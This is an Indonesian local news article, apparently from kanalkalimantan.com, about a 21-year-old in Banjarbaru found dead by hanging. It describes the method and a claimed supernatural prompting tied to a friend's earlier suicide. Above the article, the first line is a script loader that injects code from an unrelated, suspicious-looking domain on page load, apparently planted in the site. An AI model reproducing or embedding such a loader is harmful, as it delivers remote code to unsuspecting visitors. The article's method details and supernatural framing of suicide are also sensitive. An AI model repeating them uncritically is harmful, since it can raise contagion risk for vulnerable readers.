(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Warga Jalan Gotong Royong geger temukan jasad MZA (21) terbujur kaku dengan seutas tali, Selasa (26/10/2021) sekitar pukul 17.30 Wita. Juru parkir itu mengakhiri hayatnya dengan cara gantung diri di dalam kamar rumahnya di Kelurahan Loktabat Utara, Kecamatan Banjarbaru Utara.
Keterangan Kapolres Banjarbaru AKBP Nur Khamid melalui Kasi Humas Polres Banjarbaru AKP Tajuddin Noor membenarkan perihal MZA yang ditemukan gantung diri.
“Dari keterangan teman wanita dan adiknya, MZA sebelumnya mengaku dapat bisikan gaib pada hari Senin (25/10/2021) untuk ikut dengan temannya yang sudah meninggal dunia bernama Rama,” jelas Kasi Humas Polres Banjarbaru.
Belakangan teman pelaku yang bernama Rama merupakan orang yang melakukan tindakan yang sama, yakni mengakhiri hidupnya dengan gantung diri beberapa waktu lalu, dekat kampus sebuah kampus swasta di Kota Banjarbaru.
Baca juga: Wakili Istri yang Meninggal Dunia di Wisuda Stikes Husada Borneo, Hendri Tak Kuasa Tahan Air Mata
“Keterangan saksi menambahkan ketika temannya itu bunuh diri kaos kaki milik Rama hilang sebelah, dan kemudian ditemukan di dalam kamar Zainal,” jelas Iptu Tajuddin.
Dari keterangan saksi teman MZA bernama Sarfina berkunjung sekitar pukul 17.30 Wita ke rumahnya, setelah itu Sarfina bersama ibu, Hayati dan adik MZA Yunita menuju ke kamar karena pelaku tak kunjung keluar. Setelah diketuj dan tidak ada sahutan dan pintu kamar terkunci lewat dalam.
Kemudian ibu pelaku mengintip lewat lubang kecil pintu kamar dan meluhat kaki anaknya menjuntai ke bawah dalam posisi tergantung.
Karena panik, sontak Ibu dan adik pelaku langsung mendobrak pintu dan masuk ke dalam kamar. Tanpa pikir panjang kemudian memotong tali pengikat leher pelaku dengan sebuah pisau.
Baca juga: Jelang Subuh, Kandang Ayam dan Gudang di Batu Besi Terbakar
Setelah itu, teman wanita pelaku meminta tolong kepada tetangga sekitar.
“Setelah di midentifikasi tubuh pelaku tidak ada tanda-tanda kekerasaan atau tindak pidana, dan keluarga korban menolak untuk dilakukan visum dan otopis,” pungkas Iptu Tajuddin kepada Kanalkalimantan.com.
Kemudian jenazah pelaku dimandikan dan dikafani di RS Idaman Banjarbaru untuk diurus dan dikebumikan oleh pihak keluarga. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Memastikan keamanan umat kristiani melaksanakan ibadat Natal 2024, kepolisian melakukan strelisasi gereja-gereja… Read More
KANALKALIMANTAN.COM, BANJARBARU - Absen pada sidang perdana di Pengadilan Negeri (PN) Banjarbaru, pihak tergugat Komisi… Read More
KANALKALIMANTAN.COM - Setelah sukses menggebrak dengan promo spektakuler di HUT BRI ke-129, kini BRI kembali… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar menyerahkan bantuan alat dan mesin pertanian, di Mahligai Sultan… Read More
Tiga Mobil Pribadi dan Satu Motor Kena Imbas, Sopir Akui Rem Tak Normal Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru memenuhi panggilan gugatan di Pengadilan Tata… Read More
This website uses cookies.